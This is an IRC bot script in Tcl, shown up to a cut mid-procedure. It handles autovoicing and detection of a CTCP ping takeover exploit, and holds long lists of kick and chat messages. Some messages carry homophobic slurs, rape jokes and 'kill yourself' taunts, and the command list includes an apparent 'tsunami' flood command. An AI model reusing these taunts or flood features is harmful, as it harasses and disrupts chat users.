####################################### ## sQu tcl build frøm NetGaTe ## ## UPdate Februari 2011 ## ## rhian@perusuh.com ## ####################################### # *********************************** # # * !!DO NOT EDIT BELOW THIS LINE!! * # # *********************************** # ## voice/devoice active/idle users #Set the 'number of lines' here after which a user will be voiced set autovoice(lines) "4" #Users idling for more than this number of minute(s) will be devoiced. set autovoice(dvtime) "20" #Set the time here in 'minutes' after which you would continuously like to check set autovoice(dvcheck) "10" bind pubm - "*" autovoice:users bind ctcp - ACTION autovoice:users2 proc autovoice:users2 {nick host hand chan keyword arg} { autovoice:users $nick $host $hand $chan $arg } bind join - "*" autovoice:erase:record if {$autovoice(dvtime) > 0} {bind time - "*" autovoice:devoice:idlers} proc autovoice:users {nick uhost hand chan text} { global autovoice voice if {![botisop $chan] || [isbotnick $nick] || [isop $nick $chan] || [isvoice $nick $chan] || ![string match "*+active*" [channel info $chan]]} { return 0 } set user [split [string tolower $nick:$chan]] if {![info exists voice($user)] && ![isvoice $nick $chan] && ![isop $nick $chan]} { set voice($user) 0 } elseif {[info exists voice($user)] && ([expr $voice($user) + 1] >= $autovoice(lines)) && ![isop $nick $chan] && ![isvoice $nick $chan]} { utimer 3 [list autovoice:delay $nick $chan] ; unset voice($user) } elseif {[info exists voice($user)]} { incr voice($user)} } proc autovoice:delay {nick chan} { set user [split [string tolower $nick:$chan]] if {[botisop $chan] && [onchan $nick $chan] && ![isop $nick $chan] && ![isvoice $nick $chan] && ![string match "Guest*" $nick]} { pushmode $chan +v $nick ; set voiced($user) 1 } if {[info exists voiced($user)]} { pushmode $chan -k 6açtive.çhatter ; flushmode $chan } } proc autovoice:erase:record {nick uhost hand chan} { global autovoice voice if {[isbotnick $nick] || ![string match "*+active*" [channel info $chan]]} { return 0 } set user [split [string tolower $nick:$chan]] if {[info exists voice($user)]} { unset voice($user) } } proc autovoice:devoice:idlers {m h d mo y} { global autovoice if {([scan $m %d]+([scan $h %d]*60)) % $autovoice(dvcheck) == 0} { set chans [string tolower [channels]] foreach chan $chans { if {[botisop $chan] && [string match "*+active*" [channel info $chan]]} { foreach user [chanlist $chan] { set user [string tolower $user] if {[botonchan $chan] && ![isbotnick $user] && ![isop $user $chan] && [isvoice $user $chan] && ([getchanidle $user $chan] >= $autovoice(dvtime)) && ![matchattr $user f] && ![matchattr $user v]} { pushmode $chan -v $user if {![info exists devoice($chan)]} { set devoice($chan) 1 } } else { continue } } if {[info exists devoice($chan)]} { pushmode $chan -k 6depøis.før.idle ; flushmode $chan } } } } } putlog "Active Chatter v3.75.b by awyeah edited by rhian has been loaded successfully." ## anti take over ping ## bind ctcr - PING xactr proc xactr {nick uhost hand dest key couk} { global botnick pingchan wait_ping notb basechan owner notc bannick catch {unset wait_ping} if {$nick==$botnick} {return 0} if {[string match "*a*" [string tolower $couk]] || [string match "*i*" [string tolower $couk]] || [string match "*u*" [string tolower $couk]] || [string match "*e*" [string tolower $couk]] || [string match "*o*" [string tolower $couk]]} { if {[string match "*adduser*" [string tolower $couk]]} { putquick "PRIVMSG $basechan :\001ACTION Detecting5 ${nick}($uhost) Using ctcp ping e4X1ploit To Hack Me.\001" foreach x [channels] { if {[onchan ${nick} $x]} { if {[botisop $x]} { set bannick($nick) "$uhost" ; putquick "KICK $x ${nick} :$notc 4!1lamer4! 1ctcp ping e4X1ploit1 frøm4 ${nick}($uhost) [banmsg]" } else { if {![string match "*c*" [getchanmode $x]]} { putquick "PRIVMSG $x :\001ACTION Detecting5 ${nick}($uhost) Using ctcp ping e4X1ploit To Hack Me.\001" } { putquick "PRIVMSG $x :\001ACTION Detecting ${nick}($uhost) Using ctcp ping eXploit To Hack Me.\001" } foreach c [chanlist $x f] { if {[isop $c $x]} { set sendspam "!kick [zip "$x ${nick} $notc 4!1lamer4! 1Ctcp Ping e4X1ploit1 frøm2 ${nick}($uhost) 1-repørt by2 $botnick-"]" ; putsrv "PRIVMSG $c :$sendspam" } } } } } newignore "${nick}!*@*" rhian ctcp-hack 1 ; putlog "$notc 1 minutes ignoring ${nick} for ctcp e4X1ploit" } return 0 } if { $key != "PING" } {return 0} ; set pingtime [expr [unixtime] - $couk] if {[info exists pingchan]} { if {![string match "*c*" [getchanmode $pingchan]]} { puthlp "PRIVMSG $pingchan :$nick, PING $pingtime Sec's" } { puthlp "PRIVMSG $pingchan :$nick, PING $pingtime Sec's" } ; unset pingchan } return 0 } set bancounter { "4Ba2ntai!!" "4Dj2UAMpUT4!!" "4cR2oTZ4!!" "4cR2uTZ4!!" "4Ge2TLosT4!!" "4Su2CKZ2!" "4b2Ye!!" "4Lo2Lz4!!" "4Ge2TOuT4!!" "4La2MeR4!!" "4ab2UsEd4!" "4O2uT4!" "4L2oS4!" "4S2ux4!" "4aS2sHoLe4!!" "4dZ2iegh4!!" "4G2o!" "4Ha2JaR4!!" "4Pe2RkOsA4!!" "4tE2nDaNg4!!" "4rE2fuSed4!!" "4mU2aCh4!!" "4Go2TcHa4!!" } set querym { "hai juga" "halo" "apakabar" "asl dong" "haiiii" "siapa ya" "lagi dimana ?" "haloooo" "apa kabar" "siapa ya ?" "yup" ":-)" "no pv pls x(" "ya ada apa?" "aha!" "capa ini imut sekali :P" "mojok yuk" "kangen.." "d0r!" "dari mana?" "dah lama cetingnya?" "jam brp skrng?" "woi balikin clana dalem gw!!" "O.o" "Kantong menyan lo ko gede sebelah" "godain qta donk ^-^" ":(" "(-_- )" "wb wb" "koq baru keliatan?" "woii" "slamat ceting" "hehe si jelek" "apa tayank" "napa?" "-_-`" ":):)" "..." "suiitt suiitt.." "suiitt suiitt.. plok plok" "yuhuu" "loh?" "hah?" "dasar" "ga laper lu?" "Hi too.." "minta pelmen bon bon dunk, hikz" "apaan tuh" "minta fs dong" "nomer hp kamu brapa ?" "imel kamu apa?" "cari siapa? " "hai hai molo, gw cium baru tau" "yes?" "jelek lu" "nah nah" "kenalan yuk" "berpelukannn!" "i miss u" "blom pernah diperkosa 1 RT loe?" "ooee" "ingat bayar hutang besok ya" "??" "^.^" "mmuuwaa" "ngantuk ya?" "epon gw besok okey ^^" "-_-`" "na na iguana" "sapa niy?" "hanih..." "weeeii!" "hihi" ":P" "eh dul" "No pv!" "ehemm.." "(= ^ _ ^ =)" "pasti mo gebetan lagi" "na na na iguana" "yup" "ya?" "oit" "napa?" ":)" "^^" "O.o" "o.O" ":P" "cuek" "where are you from?!" "apaan sich?" "bete tau dipanggil molo" "kamu sapa?" "wekz" "wakz" "sapa ya?" "sorry ga kenal" "iya tayank" "wew" "dudulz" "igh lucu na" "what do you need?" "kamu cakep ga?" "sapa ni, nalan dolo donk" "GggRrr.." "mo ga gw jitak?" "knp dul?" ">.<" "eiiitt.." "nah nah" "beuh" "hushh hushh :P" "Maaf lagi jadi bot ni" "dah mandi belom ?" "brisik! :P" "nungging lo!" "ketik C spasi D Cape Deeee" "weQs~" "Ada co nggak yach ??" "hah?" "d0r!" "sssstt..." "???" "Hai, asl dong" "^^" ":)" ":):)" ":P" "kangennnn" "miss uuuuu" "hayahh" "wei, ngapain teriak2" "brisik! :P" "kemana aja ko baru keliatan ?" "whats up?!" "whats cookin'?" "whatcha up to? :))" "hey! hows ya??" "hows ya!?" "hows ya?, mate!" "how r u" "how are you doing?" "how r u?" "howdie? :x" "howdie? mate!" "hows ya doin?" "hows ur gf doing?" "hows you doin?" "whats cookin' mack!? :p" "how how, how are you brown cow?" "whats your name?!" "what have ya been upto? eh?" "how are you?" "where ya from!?" "hows ya been doin? :)" "a/s/l?" "what do ya do??!" "whats ur name?" "whats ya name? :/" "where do you live?" "how old are ?" "how old r u?" "a/s/l? plz" "are u m/f?" "m or f?" "male or female?" "male/female?" "asl plz" "asl please :)" "how r u doing?" "how r you?" "how are u?" "a/s/l please!" "how have u been? :D" "where did u go?" "what do you do?" "what do u do?!" "how can i help you?!" "what do ya want!" "what do you want?" "do you know me?!" "do i know you?" "do u know me?" "do i know u? hmm" "have we talked before?!" "have we met before?" "Hi, How are you?" "Hi, How are u today?" "yeah? what's up?" "what's up doc?" "Hi too, asl pls.." "what's up?" "sorry, i'm very busy right now.." "yeah? who are you?" "do i know u?" "yeah? do i know u?" "who the hell are you?" "i'm curently away, may be later.." "where u came from?" "Pasti gak tau kalo Gue bot :D" "yeah, nice to meet u.." "nice to meet u.." "what is ur real name?" "yeah? asl pls.." "i'm curently busy, may be later.." "Sori lagi ga bisa ngobrol nanti aja ya" } set cyclem { "fading..." "refreshed!" "rehashed!" "buying condoms" "checking" "breathing" "hello world!" "isen(G" "spam check" "(c)ycling!" "(L)amer" "Cycle System Running!" "isi bensin" "ngecek inviter" "(k)illing" "killing time" "dead end" "(d)ead en(d)" "cycling is not a crimE!" "burn...mutha fvcka burn..!" "refuse - resist" "desperate!" "i'm in love :D" "Need For Suspect!" "Time's up!" "No way out!" "No more left!" "No regret for inviter!" "Hot Pursuit!" "Critical Cycle!" "Cycle Strike Back!" "Pursue Inviter Suspect!" "wRoNG TcL" "ronda" "salto" "Crut.." "Making Love" "Go To Cycle!" "Cycle System Running!" "Cycle Strike Back!" "Leaving" "Gw BangeT" "Pursue Inviter!" "LamerZ" "Acces Dennied" "I need cycle now!" "Looking For SpAmER" "Auto Recycle!" "Looking for Inviter!" "In/out!" "Rehashing!" "Refreshing!" "Doing Cycle!" "Inviter Suspect!" "Looking for Suspect!" "Regain Inviter!" "Regain Suspect!" "Recycle!" "Cycle Needed!" "Cycle all Channel!" "Cycling!" "Inviter Detected!" "Full Cycle Ahead!" "Going out and Back!" "I can do this all day!" "Cycle Time!" "I will do this all day!" "Time to kill!" "No day without cycle!" "ReFReSH" "yuhuu.. where are you?" "It's a good day to die!" "Time for cycle!" "License to kill!" "Cycle.. cycle.. cycle.." "I need suspect!" "Need For Suspect!" "Time's up!" "No way out!" "No more left!" "No regret for inviter!" "Hot Pursuit!" "Rule No.96: Cycle!" "Critical Cycle!" "Running Cycle!" "Go To Cycle!" } set partm { "BaCk To BaSe" "owner Request! Sorry :P" "Ups! Wrong Channel!" "Be Right Back!" "No one Join Forever!" "Damn! Wrong Channel!" "Access Denied!" "Return To Base!" "Access Rejected!" "Going Back!" "Ilegal Channel!" "Going Home!" "Good Bye!" "Sayonara!" "Ups! Wrong Room :P" "Got To Go!" "Goodbye! Ugly :P" "Go To Hell!" "Going Somewhere!" "No Join Today!" "It's a bad day to join :P" "Part Never Die!" "Join Another Day!" "License To Part!" "'Part' time!" "Time To Go!" "Too many join channel :P" "This Join is Not Enough!" "Join too many channel :P" "It's time to Go!" "It's time to Part!" "Part for now and Forever!" "Part Forever!" } set awaym { "Making Babies" "Making Dragons" "Checking mail" "NaTure CaLLs :P brb" "stomach ache... im currently in the toilet" "playstation rulez" "phonecall" "brb-a.s.a.p" "sleep...nuff said" "Definitely NoT here :P" "Pretending to be Auto-Away" "Checking shells" "Make Love With Someone :P" "NoT here, use email" "NoT here, Guess where? :P" "Don't Keep Me Waiting!" "Call FBI if i dont comeback on 24 hour" "DoWn" "Checking Boom" "Hacking Root" "Tetrinet Is Not Lame" "Hmmm Not Here" "Auto-Away After 10 Mins" "DeaD" "Surfing With The Alien" "Hungry, Exploring My Fridge" "Auto-Away" "Checking Shells" "NoT Here" "Ku Tau Yang Ku Mau" "Always CoCaCoLa" "Bikin HiDuP Lebih HiDuP" "Coba MeRaH" "Makan NgaK Makan AsaL Ngumpul" "BuKaN Basa Basi" "Nice Dream.." "Welcome To My Life" "AsiK nya RameRame" "Mutha Fvcka Don`t Whois Me Again..!!!" "I`m NoT Here" "Honeymoon Day.." "NyuCiii..." "Mojok Ma Yayank .." "Ngga ada di Tempat" "MinuM VodKa" "Cebokin Yayank" "Cari Nasi Goreng" "P a c a r a n.." "My owner is rhian" "Run Away Fly Away .." "CAri Angin" "Lagih Mojok Sama Dian Sastro" "Mojok Bareng Keanu Reves" "NoT here, Guess where? :P" "Cari Gebetan" "Making Babies" "Making Dragons" "Checking mail" "NaTure CaLLs :P brb" "stomach ache... im currently in the toilet" "playstation rulez" "Don't Keep Me Waiting!" "phonecall" "brb-a.s.a.p" "sleep...nuff said" "Definitely NoT here :P" "Pretending to be Auto-Away" "Checking shells" "Make Love With Someone :P" "NoT here, use email" } set rms { "6young.and.dangerous" "6dis.tak.dis.tek.dis.tok" "6mess.with.me.willed.you.with.my.40k" "6the.roof.is.on.fire" "6shut.up.before.i.smack.the.fvckup" "6killed.spam.inviter.with.my.system" "6you.will.be.the.one.of.victim" "6my.sistem.is.the.killing.machine" "6suffer.the.children" "6making.love.with.britney" "6flood.hack.and.war.inside" "6desperate.crazy" "6tukang.perkosa.inviter.spamer" "6guard.by.your.mumz.team" "6a.n.t.i.s.p.a.m" "6n.g.a.n.g.k.a.n.g" "6n.u.n.g.g.i.n.g" "6flood.your.system.till.down" "6dont.mess.with.da.best" "6the.roof.is.on.fire" "6pay.back.time" "6back.to.vengeance" "6eye.cry" "6p.e.r.u.s.u.h" "6world.of.fiction" "6m.a.s.t.u.r.b.a.t.i.o.n" "6killing.on.adrenaline" "6suffer.the.children" "6making.love.with.admin" "6have.a.nice.day" "6a.war.inside.my.head" "6desperate.cry" "6spam.checks" "6a.n.t.i.s.p.a.m" "6r.e.f.r.e.s.h.i.n.g" "6n.u.n.g.g.i.n.g" "2t.c(4£2)9.64r" "4ripping10.NeTGaTe.tcl" "6reclaiming.myself" "6searching.someone.To.4kick" "6kicking.ass" } set kickms { "I'm only doing this because I care.." "skin and bones, blood and teeth, well this is essentially who we are" "I recommend you see a therapist.." "Everyone will suffer now, you can't save yourself!" "I'm too lazy to give you a real message.." "This random kick is brought to you by kick master !!" "You Have Underestimated The Dark Side ! Now You Must Die !" "-(!)- CRASH -(!)- Ouch ! Thats Gotta Hurt Mr Pancake !" "E=mc2 = F/(s^2) = (x-y3*2,03)" "Yuch ! What A Stinch !" "Not Going To Sit For A While ?" "Well Aren't You Answering Me ?" "Thanks I Needed These !" "Come Back When You Can Breath !" "This random message was censored by popular request.." "Ohh Isn't That Love Between Man And Animal So Cute !" "Damn I Got Brains All Over Me !" "SHUU !! You Are Dead !" "Man What A NutCase !" "-> Caught You Looking ! <-" "That Was A Nice Try Kid" "Look! A Talking BungHole!" "This is our subtle way of saying goodbye" "-> Kiddie Kick <-" "I Am Doing It, YES ! (Phew Was Close Again)" "We Don't Like Faggots Here !" "Hey SHUT THE FUCK UP !" "Buh Bye Then !" "#lamers is a better place for you" "|¯| <- there's the exit" "Lamer Shields Activated !" "This Is My Last Option" "Do You Want to See the Bed in Flames?" "You believe it would be hard to kill, But where are all of the dead coming from?" "Sex is a Battle, Love is War..." "I'm not sorry, this is what you deserve!!" "Run, run for your lives..." "You, in the schoolyard, I am ready to kill You..." "My black blood and your white flesh..." "The cold sweat on your white forehead, hails into my sick brain..." "I will always become hornier from your screams..." "Your White Flesh Excites Me So..." "I'm Just a Gigolo..." "My father was exactly like me..." "Your White Flesh Enlights Me..." "Warm body, hot cross, wrong judgment, cold grave..." "I will return in ten days, as your shadow, and I will hunt you down..." "Ashes to ashes, and dust to dust..." "I follow you, I find you, I touch you, And Now, I have you..." "Never again, the old sorrow..." "Save each other from being in pairs..." "A man is burning..." "The smell of flesh lies in the air..." "A child is dying..." "A sea of flames..." "Blood is coagulating on the asphalt..." "Boo-hoo" "...and there was much rejoicing.." "A pity you have to leave so early" "Absence makes the heart grow fonder" "All for one, and one for all." "And now eat my poo-poo" "And now the final scene, a global darkening..." "Any fool can make a rule and every fool will mind it." "Are you real??? No....I think not!!! I'm sure!!!" "Mothers are screaming..." "A mass grave..." "Armegeddon is here, like said in the past." "Burning in my brain, I can feel the pain." "No escape..." "No birds are singing anymore..." "The sun is shining..." "God knows I don't want to be an angel..." "You have asked me, and I have said nothing..." "Can you break hearts?" "Can hearts speak?" "Can you torture hearts?" "Can you steal hearts?" "Can hearts sing?" "Can a heart burst?" "Can hearts be pure?" "Can a heart be made of stone?" "Can you ask hearts?" "Can you carry a child under yourself?" "Can you give it away?" "Can you think with your heart?" "They want my heart on the right spot, but then I look below, it beats left there..." "Left two three four left!" "One, two, three, four, five, six, seven, eight, nine, out..." "And the world counts loudly to ten" "Here comes the sun..." "Can you hear me? Can you see me? Can you feel me? I don't understand you..." "I wait for you, at the end of the night..." "Whats That Red 15 Meter Long Rope Back There ?" "Can i get a goal from it?" "Congratulations, You got kicked !!!" "The OP is always correct" "No animals allowed, sorry, please join pet !!" "Popular Request !!!" "Random Kick Message" "Ultimate, powerful, Exccesive, Super, Deluxe, Large, Big Lamer Detected" "I am a hunter, I'm hunting lamers" "Reminder:We aren't no friends anymore" "I'm doing this because you suckssss" "World Guiness Record you were kicked 999999999 a day !!!" "mode +su means SHUT UP!!" "Viruses Kicked, Channel Clean !!" "Do not give opinions or advice unless you are asked" "Do not tell your troubles to others unless you are sure that they want to hear them" "When in another's lair, show him respect or else do not go there" "If a guest in your lair annoys you, treat him cruelly and without mercy" "Do not make sexual advances unless you are given the mating signal" "Do not take that which does not belong to you unless it is a burden to the person and he cries out to be relieved" "Acknowledge the power of magic if you have used it successfully to obtain your desires. If you deny the power of magic after having called upon it with success, you will lose all you have obtained" "Do not complain about anything to which you need not subject yourself" "Do not harm little children" "Do not kill non-human animals unless attacked or for your food" "When walking in open territory, bother no one. If someone bothers you, ask him to stop. If he does not stop, destroy him" "Error:Illegal Kick Operation !!!" "This is a speed test for IRC Kick Engines!!!" "Fly without wings" "You're a real bad lamer" "We're tire of your silly attitude" "You are not eligible to join here, less morality !!!" "This channel is not for lamer's !!" "Better to go like this or else, you will lose your head in reality !!" "Make an appoinment in some other day" "angry? So What !" "Is it painful? Go get a doc !!!" "Your violence entertain me, EAT THIS !!" "I know you will love this" "Ohhh you are out !!!" "Go sit at a corner" "rubbish is YOU !!" "YOU FORCE ME" "Any fool can make a rule and every fool will mind it" "Eye for eye, tooth for tooth, hand for hand, foot for foot" "All for one, one for all" "Are you feeling lucky????" "Did you hear something?" "Another spammer meet the foot-face" "Tell me what you've got" "Please, do not S*P*A*M*M*I*N*G!!" "Out, damn spot, out I say!" "I can hear somebody FELL in the blank!" "Can somebody stop this guy???" "Perhaps you should try real life for awhile" "okluvyabubye" "*blam!* yeah, beeyaaaach I poped a cap in yo' ass!" "Another spammer meet the foot-face - [o]" "eeeeeeeekkkkkkkk!" "Out!!" "U hurt my ears , my eyes , my felling and u`re OUT !!" "From Heaven With Love" "Heaven And Earth And You go to moon" "Ups!!" "Sorry but u`re not allowed being here" "U like my new shoes ?!" "No reason :Pp~" "Kick Kick Kick Kick Kick Kick" "Can't do nuttin with that" "Testing Testing" "Isit hurt ?!" "Lamer deteçted" "Uncool not allowed" "Request - Request" "Go!!" "Are You there ?¿?" "asl pls :P~" "Last warning now hush!!" "Confucius say If you can't shut up here, speak elsewhere" "Eat this!!" "Jump or die!" "And should we really care?" "If you're fighting to live, It's ok to die!" "No escaping pain, you belong to me" "I need a ride to the morgue, that's what 911 is for" "That doesn't kill me, only makes me stronger" "Forgive me father, for I have sinned" "Lie, steal and cheat, a real bad guy!" "Pull over, shithead, this is the cops!" "Rot in hell, it's time you know your master, off you go!" "Excess Lameness" "Killed (Mom (Don't hang around with them! They're troublemakers!)" "Come back when you've finally learned not to be lame" "Congratulations, you won a brand new kick!" "Crash! Boom! Bang!" "Cya later - much later" "Death greets me warm, now I will just say goodbye." "Death in the air, strapped in the electric chair." "Choose your fate and die!" "You've been dying since the day you were born" "You know it has all been planned" "Now there's nothing you can do" "Cya, Wouldn't wanna be ya" "Thanks for leaving, come back soon!" "He winds up and your out" "YOUR FIRED!!!" "There is the kick And It's GOOD!" "What to expect in upcoming versions" "More commands*" "Any suggestions submitted*" "Any fixes for bugs in pervious version(s)*" "Updated kicks files*" "Only In Sadness Comes Awakening" "Not enough memory to display" "Another one bites the dust" "No Such Nick/channel" "Damm, I'm good" "I think I will have another beer" "that's all i have to say about you" "There's a better place for you; But it´s far, far away" "If you think that f*ck is funny, f*ck yourself and save your money" "Kenny doesn´t want to die!!" "Yo momma so ugly the government moved Halloween to her birthday" "Yo momma so stupid she watches teletubbies and takes notes" "Mess with the best die like the rest" "This isn´t BitchX baby!" "Yo momma so stupid she sits on the TV, and watches the couch" "Yo momma so bald that she took a shower and got brain-washed" "Kyles momma is a stupid bitch!" "Here comes the sun" "We're going to have a problem here" "May I have your attention please? Will the real Slim Shady please stand up?" "I'm Slim Shady" "Yes I'm the real Shady All you other Slim Shadys are just imitating So won't the real Slim Shady Please stand up" "Eyes of glass stare directly at death." "Fall to your knees, and bow to the Phantom Lord." "Fight fire with Fire, bursting with fear." "Fight fire with fire, the ending is near." "For now you've got some company." "Freezing, can't move at all" "From deep sleep I have broken away." "Frozen soul, frozen down to the core." "Eye for eye, tooth for tooth, hand for hand, foot for foot." "Another spammer meet the foot-face" "Tell me what you've got..." "Please, do not S*P*A*M*M*I*N*G!!" "I came, I saw, I conquered. (Veni, Vidi, Vici)" "Can u stop giving me BULLSHIT?" "Out." "damn - i cant stop this guy. i have no choice... :P" "bitch you spamming to me!! get lost!!" "I'm too lazy to give you a real kick message" "Spamminng is not allowed" "((Killed (stats.dal.net (User has been banned from DALnet ([ma/inv] Mass Messaging / Inviting is not allowed on DALnet. See http://kline.dal.net/massads/mup.htm) [AKILL ID:1013974367K-c]))))" "Next motherfucker gonna get my metal..." "Goddamn your righteous hand..." "You cannot sedate all the things you hate..." "Light a candle for the sinners, set the world on fire!" "How does it feel to be one of the beautiful people?" "Everyone will suffer now, you can't save yourself!" "When you are suffering, know that I have betrayed you..." "This isn't me, I'm not mechanical..." "Don't blow your fuckin mind!!" "No salvation, no forgiveness..." "The president is dead, let us pray..." "I got my lunchbox and I'm armed real well..." "Someone had to go this far..." "Getting high on violence, baby..." "You may as well kill yourself, you're already dead..." "You're just a copy of an imitation..." "I'm not sorry, this is what you deserve..." "Do you love your guns, your god, and government?" "This is beyond your experience!" "YOU CAN'T KILL ME MOTHERFUCKER!!" "ALELUIA MOTHERFUCKER!!" "Got a kick in the ass... fuckin asshole" "Nothing more beatifull than one ass out of this channel" "Kick kiry ki ky... OUT SUCKAAA" "Sometimes there is no other solution" "Now there's nothing you can do." "Now you've got the fight of your life." "Nuclear warfare shall lay us to rest." "Oops, I did it again" "Why tha fuck were you still here!!!???" "Nope - no wrong button" "You really wanted it, right?" "You're falling in a bottomless pit of loneliness" "See you in hell" "So gather round your warriors now and saddle up your steeds." "Sound is ripping through your ears." "Take a look to the sky just before you die." "Pimp your brain" "Mr. Mighty ass has left tha building!!!!" "Relaxation is tha key for staying in this chan" "Goodbye ass face... YES... ASS FACE!!!" "Here you are... found ya!!!!" "Sorry, but you are dismissed" "You must have been an ass in your other life!" "Get of my face ASSHOLE!!!" "Hello, Hello...No Answer!!!" "Excuse me...I´d like to ASS you a few questions!!!" "Pissing me off is one of your skills" "You really don´t belong here!!! Fuck off!!!" "You're not welcome here" "Ui Ui...What a kick...100% done!!!" "Don´t fuck with me... Get out sucker!!!" "Mess with the best...get kicked like the rest!!!" "Are you real??? No....I think not!!! I´m sure!!!" "ah...ahh...ahhh...bahHAHhahHAHhahahHAHhah...Got kicked!!!" "Mode +q... Means QUIET!" "Well well well... Nasty nasty boy... Fuck off" "Go and check http://www.microsoft.com... Lhamer..." "It´s for ppl like you they invented tha word KICK..." "Just relax and come back in a week..." "LAAHAHA LHAHAHAHAH LAAHAHAHAHAH... Fuck off... Leave the planet!!!" "Die with a fuckin brain tumour..." "Don't fuck with me... Get out sucker!!!" "I advise you to go and hide yourself somewhere..." "There are many things you should think about... IRC isn´t one of those..." "Jerky assholes like you... should go and... well... fuck you" "Guess what I´m thinking about? --- The best way to not seing you anymore..." "Guess who's back! back again!!! :)" "Guilty as charged, but damnit it aint right!" "Hear the Cry of war." "What doesn't kill you, makes you stronger" "Have you considered suing your brains for non-support?" "I bet your brain feels as good as new, seeing that you've never used it." "Keep talking, someday you'll say something intelligent." "There is no vaccine against stupidity." "Since the speed of light is faster than the speed of sound, is that why some people appear to be bright until you hear them speak?" "Go away!" "I love pressing this button" "Go play leapfrog with a unicorn" "Where do you wanna go today? Out... Ok!" "I rather want you to stay at teletubbies.com" "Yes, I have OP ;)" "You didn't understand any of this." "Get lost!" "You just laughed, ha ha, bitch." "Don't get lost in thought, you'll be a total stranger there." "If you said what you thought, you'd be speechless." "I wish I had a lower I.Q. so that I could enjoy your company." "I'm not going to get into a battle of wits with you, I never attack anyone who's unarmed." "It's too bad stupidity isn't painful." "I’d explain it to you, but I don’t have any crayons with me." "Are you always this stupid, or are you making a special effort today?" "Do we have a learning disability here?" "I see no sign of intelligence anywhere..." "┌∩â”(â—£_â—¢)┌∩â”" "I see dumb people... they're everywhere. They chat in IRC like everyone else. They don't even know that they're dumb." "A guy with your IQ should have a low voice too!" "Any similarity between you and a human is purely coincidental!" "Are you always so stupid or is today a special occasion?" "As an outsider, what do you think of the human race?" "I'd like to kick you in the teeth, but why should I improve your looks?" "At least there's one thing good at your body. It isn't ugly as your face!" "Brains aren't everything. In fact, in your case they're nothing!" "Careful now, don't let your brains go to your head!" "I like you. People say I have no taste, but I like you" "Did your mother have any children that lived?" "Did your parents ever ask you to run away from home?" "I want nothing out of you but breathing, and very little of that!" "Take off that mask! Don't you think it's a little early for Halloween?" "Don't be ashamed of wat you are. I'm not ashamed of what you are!" "If I had a face like yours. I'd sue my parents!" "Don't feel bad. A lot of people have no talent!" "Don't get insulted, but is your job is devoted to spreading ignorance?" "Keep talking, someday you'll say something intelligent!" "Don't mind him. He has a soft heart and a head to match." "Don't you love nature, despite what it did to you?" "Don't think, it may sprain your brain!" "people like you don't grow from trees; they swing from them." "you have mechanical mind. Too bad you forgot to wind it up this morning." "you have a mind like a steel trap -- always closed!" "You are a person of the world -- and you know what sad shape the world is in." "your always lost in thought -- it's unfamiliar territory." "your dark and handsome. When it's dark, iam handsome." "your known as a miracle comic. if your funny, it's a miracle!" "your listed in Who's Who as What's That?" "your living proof of that a person can live without a brain!" "your so short, when it rains your always the last one to know." "you are the kind of a person of people would use as a blueprint to build an idiot." "Here's 20 cents. Call all your friends and bring back some change!" "How come you're here? I thought the zoo was closed at night!" "How did you get here? Did someone leave your cage open?" "How much refund do you expect on your head -- Now that it's EMPTY." "How would you like to feel the way you look?" "Hi! I'm a human being! What are you?" "I can't talk to you right now; tell me, where will you be in ten years?" "I don't want you to turn the other cheek. It's just as ugly." "I don't know who you are, but whatever it is, i'm sure everyone will agree with me." "I don't know what makes you so stupid, but it really works!" "I could make a monkey out of you, but why should I take all the credit?" "I can't seem to remember your name, and please don't help me!" "I don't even like the people you're trying to imitate!(if you are at all!)" "I bet you have a loud bark!" "I know you were born silly, but why did you have a relapse?" "I know you're a self-made man. It's nice of you to take the blame!" "I know you're not as stupid as you look. Nobody could be!" "I've seen people like you, but I had to pay admission!" "I’d explain it to you, but I don’t have any crayons with me" "Her lips suck forth / see where it flies" "It's been nice knowing you.. well actually, it hasn't" "Support Dan Quayle for President!" "This random kick message was censored by popular request" "And quoth the raven Nevermore" "POP goes the weasel..." "Trying to establish a new kick record..." "Look, no more lamer ^^" "There's the exit, learn it well" "This relationship just isn't going to work out" "The op is always right" "You are frightening our customers, we must ask you to leave" "Random Kick Message #13" "Excuse me...I'd like to ASS you a few questions!!!" "Excessive lameness deteçted" "Shhh... Be vewy vewy qwiet... I'm hunting lamers..." "My foot itches... ahh... much better..." "Silly customer, you cannot harm the Twinkie!" "Would you like fries with that?" "P.S. This doesn't mean we can't be friends" "If you have to ask, you'll never know" "This kick was sponsored in part by Microsoft Combat Boots" "It must be a monday... -sigh-" "Lamer removal successful!" "Oh! Oh! Kick me again!" "That's gotta hurt!" "The fist of terrors breaking through." "Boot to the head!" "The Phantom Lord has NEVER failed." "It's for ppl like you they invented tha word KICK..." "It's not that I hate you, its just.. that I dont like you" "It's the beginning of the end." "Its the last time you will!" "Anger is a tool, only for one's opponents" "Error processing request, please try again" "Go go gadget army boot!" "...and there was much rejoicing..." "This is a test of the Emergency IRC Kicking System" "My Karma just ran over your Dogma" "People these days won't take responsibilty for anything...but don't quote me on that" "Silly rabbi, kicks are for trids!" "Look at that lamer fly!" "Another one bites the dust..." "hehehe, that kickles" "Yes, I have ops" "Thank you, please drive through" "Einstein said We'll use rocks on the other side" "Emptiness is filling me, to the point of agony." "Enough for today rookie" "Everybody be cool, YOU - be cool" "Don't let the door hit you on your way out" "I'll see you in my office tomorrow at noon" "*snap* *crackle* *pop*" "Why me?" "Waste your time wherever you want, but not here" "Why not?" "*bang bang* you're dead" "Violence is never a solution, but it can be entertaining" "Thanks for your visit" "Thank you for NOT smoking!" "I recommend you to see a psychologist." "I wonder what this button does?" "Im tired of your company. Begone!" "Lame and fake - that's you" "I know you like it when I do this" "IIII can't HEAAAAAAAR you!" "Talk to the foot!" "Testing... Worked." "Are we having fun yet?" "I tire of your company. Begone!" "Insufficient maturity deteçted" "Leather and metal are our uniforms, protecting what we are." "Look behind you, a three-headed monkey!" "My channel, my rules" "No Homers" "I would ask you to leave, but why, when I can force you?" } set msgcoms { "op" "deop" "voice" "devoice" "join" "part" "chan" "kick" "kickban" "ban" "auth" "passwd" "invite" "owner" "admin" "master" "friend" "chattr" "cycle" "access" "tsunami" "rehash" "reset" "identify" "server" "deluser" "die" "restart" "ignore" } bind msg Z dc msg_dc ; proc msg_dc {nick uhost hand rest} { global botnick notc ; set rest [lindex $rest 0] ; putquick "PRIVMSG $nick :$notc decrypt: [decrypt 64 "$rest"]" } bind msg Z ec msg_ec ; proc msg_ec {nick uhost hand rest} { global botnick notc ; set rest [lindex $rest 0] ; putquick "PRIVMSG $nick :$notc encrypt: [encrypt 64 "$rest"]" } bind msg Z zip msg_zip ; proc msg_zip {nick uhost hand rest} { global botnick notc ; set rest 